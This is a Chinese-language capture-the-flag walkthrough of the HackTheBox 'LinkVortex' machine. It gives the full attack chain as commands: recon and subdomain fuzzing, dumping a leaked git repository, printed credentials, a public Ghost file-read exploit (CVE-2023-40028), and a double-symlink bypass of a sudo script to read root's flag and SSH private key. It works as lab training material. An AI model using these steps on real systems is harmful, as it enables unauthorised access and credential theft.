# nmap
先看看 TCP
sudo nmap -A 10.10.11.47 |
开放的是 ssh 和 http 服务,能看到 http 服务直接扫出来了 robots.txt 文件,还有四个目录。
好家伙,全给爆了
在 /ghost 目录下成功找到登陆页面
之后就卡住了,没找到切入点,在 wp 提示下开始进行子域名爆破
# fuff
用 fuff 进行爆破
ffuf -u http://linkvortex.htb/ -w ./fuzzDicts/subdomainDicts/main.txt -H "Host:FUZZ.linkvortex.htb" -mc 200 |
拿到子域名,加入 hosts 文件查看
# dirsearch
对其进行目录扫描
dirsearch -u http://dev.linkvortex.htb |
存在 git 目录泄漏
# GitHack
有 git 目录泄漏就用 githack 将其拉取下来
python3 GitHack.py http://dev.linkvortex.htb/.git/ |
就发现了一个 js 文件和 dockerfile
先来看看 js 里面都有啥
好多账密,这不前面有个登陆页面,拿去试试
账号:admin@linkvortex.htb
密码: OctopiFociPilfer45
成功登陆
但是找来找去没看到什么可以利用的点,回头去看看之前的随 js 一起拉下来的 Dockerfile.ghost 文件
# CVE-2023-40028
可以看到 ghost 版本,上网搜索一下有没有相关漏洞可以利用。结果找到一个任意文件读取漏洞,刚好就是 5.58.0 这个版本的
从 github 上拉取脚本
CVE-2023-40028
./CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiFociPilfer45 |
问题来了,要读取什么文件呢,回到 ghost 文件中,还有配置信息,提到有个 config.production.json 文件,读取一下
ok,成功拿到账号密码
# ssh
ssh 登陆一下
进去哩,速速拿下 user.txt
# 提权
sudo -l |
这次是给了个 sh 文件
下面是文件内容:
#!/bin/bash | |
QUAR_DIR="/var/quarantined" | |
if [ -z $CHECK_CONTENT ];then | |
CHECK_CONTENT=false | |
fi | |
LINK=$1 | |
if ! [[ "$LINK" =~ \.png$ ]]; then | |
/usr/bin/echo "! First argument must be a png file !" | |
exit 2 | |
fi | |
if /usr/bin/sudo /usr/bin/test -L $LINK;then | |
LINK_NAME=$(/usr/bin/basename $LINK) | |
LINK_TARGET=$(/usr/bin/readlink $LINK) | |
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then | |
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !" | |
/usr/bin/unlink $LINK | |
else | |
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine" | |
/usr/bin/mv $LINK $QUAR_DIR/ | |
if $CHECK_CONTENT;then | |
/usr/bin/echo "Content:" | |
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null | |
fi | |
fi | |
fi |
代码审计一下可以看出是一个可以进行文件读取的脚本
如果文件后缀是 .png
的话代码会判断是否是符号连接,再进行下一步,判断是否含有 etc 或者 root 关键词防止敏感信息泄露,当 $CHECK_CONTENT 的值为 True 时会执行 cat 命令
然而想要获取 root.txt 的内容从单层符号连接看,必然是会含有敏感词的,绕过的方法就是双层符号连接。将 root 用户下的 root.txt 文件连接到 bob 账户下
ln -s /root/root.txt 1.txt | |
ln -s /home/bob/1.txt 1.png | |
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/1.png |
成功拿到 flag
但是说起来,如果想要提权至 root 用户,直接拿到 root.txt 应该也是能做到的,读取 root 用户的私钥就行
ln -s /root/.ssh/id_rsa 2.txt | |
ln -s /home/bob/2.txt 2.png | |
sudo CHECK_CONTENT=true /us/bin/bash /opt/ghost/clean_symlink.sh /home/bob/2.png |
保存私钥文件,赋予 600 执行权限,直接通过私钥登陆 root 用户
chmod 600 id_rsa | |
ssh -i id_rsa root@10.10.11.47 |